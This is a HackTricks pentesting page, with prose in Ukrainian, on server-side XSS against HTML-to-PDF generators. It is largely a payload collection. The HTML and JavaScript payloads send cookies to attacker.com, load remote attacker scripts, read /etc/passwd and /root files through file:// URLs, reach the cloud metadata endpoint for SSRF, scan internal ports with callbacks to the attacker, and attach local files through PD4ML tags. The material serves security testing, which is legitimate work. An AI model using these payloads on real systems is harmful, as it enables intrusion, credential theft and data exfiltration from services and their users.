Server Side XSS (Dynamic PDF)

Reading time: 7 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Server Side XSS (Dynamic PDF)

Якщо веб-сторінка створює PDF, використовуючи введення, контрольоване користувачем, ви можете спробувати обманути бота, який створює PDF, щоб він виконав довільний JS код.
Отже, якщо бот для створення PDF знаходить якісь HTML теги, він буде інтерпретувати їх, і ви можете зловживати цією поведінкою, щоб викликати Server XSS.

Зверніть увагу, що теги <script></script> не завжди працюють, тому вам знадобиться інший метод для виконання JS (наприклад, зловживанням <img ).
Також зауважте, що під час звичайної експлуатації ви зможете бачити/завантажувати створений pdf, тому ви зможете бачити все, що ви пишете через JS (використовуючи document.write(), наприклад). Але, якщо ви не можете бачити створений PDF, вам, ймовірно, потрібно буде витягнути інформацію, роблячи веб-запит до вас (Сліпий).

Популярна генерація PDF

  • wkhtmltopdf відомий своєю здатністю перетворювати HTML і CSS у PDF-документи, використовуючи движок рендерингу WebKit. Цей інструмент доступний як безкоштовна утиліта командного рядка, що робить його доступним для широкого спектра застосувань.
  • TCPDF пропонує надійне рішення в екосистемі PHP для генерації PDF. Він здатний обробляти зображення, графіку та шифрування, демонструючи свою універсальність для створення складних документів.
  • Для тих, хто працює в середовищі Node.js, PDFKit є життєздатним варіантом. Він дозволяє генерувати PDF-документи безпосередньо з HTML і CSS, забезпечуючи міст між веб-контентом і друкованими форматами.
  • Розробники на Java можуть віддати перевагу iText, бібліотеці, яка не тільки полегшує створення PDF, але й підтримує розширені функції, такі як цифрові підписи та заповнення форм. Її комплексний набір функцій робить її придатною для створення безпечних і інтерактивних документів.
  • FPDF є ще однією бібліотекою PHP, яка відрізняється своєю простотою та зручністю використання. Вона призначена для розробників, які шукають простий підхід до генерації PDF без необхідності в розширених функціях.

Payloads

Discovery

html
<!-- Basic discovery, Write something-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

<!-- Using base HTML tag -->
<base href="http://attacker.com" />

<!-- Loading external stylesheet -->
<link rel="stylesheet" src="http://attacker.com" />

<!-- Meta-tag to auto-refresh page -->
<meta http-equiv="refresh" content="0; url=http://attacker.com/" />

<!-- Loading external components -->
<input type="image" src="http://attacker.com" />
<video src="http://attacker.com" />
<audio src="http://attacker.com" />
<audio><source src="http://attacker.com"/></audio>
<svg src="http://attacker.com" />

SVG

Будь-який з попередніх або наступних payload може бути використаний всередині цього SVG payload. Один iframe, що отримує доступ до піддомену Burpcollab, і інший, що отримує доступ до кінцевої точки метаданих, наведені як приклади.

html
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

Ви можете знайти багато інших SVG payloads в https://github.com/allanlw/svg-cheatsheet

Розкриття шляху

html
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Завантажити зовнішній скрипт

Найкращий спосіб використати цю вразливість - зловживати нею, щоб змусити бота завантажити скрипт, який ви контролюєте локально. Тоді ви зможете змінювати корисне навантаження локально і змусити бота завантажувати його з тим самим кодом щоразу.

html
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

Читання локального файлу / SSRF

warning

Змініть file:///etc/passwd на http://169.254.169.254/latest/user-data, наприклад, щоб спробувати отримати доступ до зовнішньої веб-сторінки (SSRF).

Якщо SSRF дозволено, але ви не можете досягти цікавого домену або IP, перевірте цю сторінку на предмет потенційних обходів.

html
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
html
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
html
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
html
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

Затримка бота

html
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

Сканування портів

html
<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

SSRF

Ця вразливість може бути дуже легко перетворена в SSRF (оскільки ви можете змусити скрипт завантажувати зовнішні ресурси). Тож просто спробуйте експлуатувати це (прочитати деякі метадані?).

Attachments: PD4ML

Існують деякі HTML 2 PDF движки, які дозволяють вказувати вкладення для PDF, такі як PD4ML. Ви можете зловживати цією функцією, щоб додати будь-який локальний файл до PDF.
Щоб відкрити вкладення, я відкрив файл за допомогою Firefox і двічі натиснув на символ скріпки, щоб зберегти вкладення як новий файл.
Перехоплення PDF відповіді за допомогою burp також повинно показати вкладення у відкритому тексті всередині PDF.

html
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html>
<pd4ml:attachment
src="/etc/passwd"
description="attachment sample"
icon="Paperclip" />
</html>

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks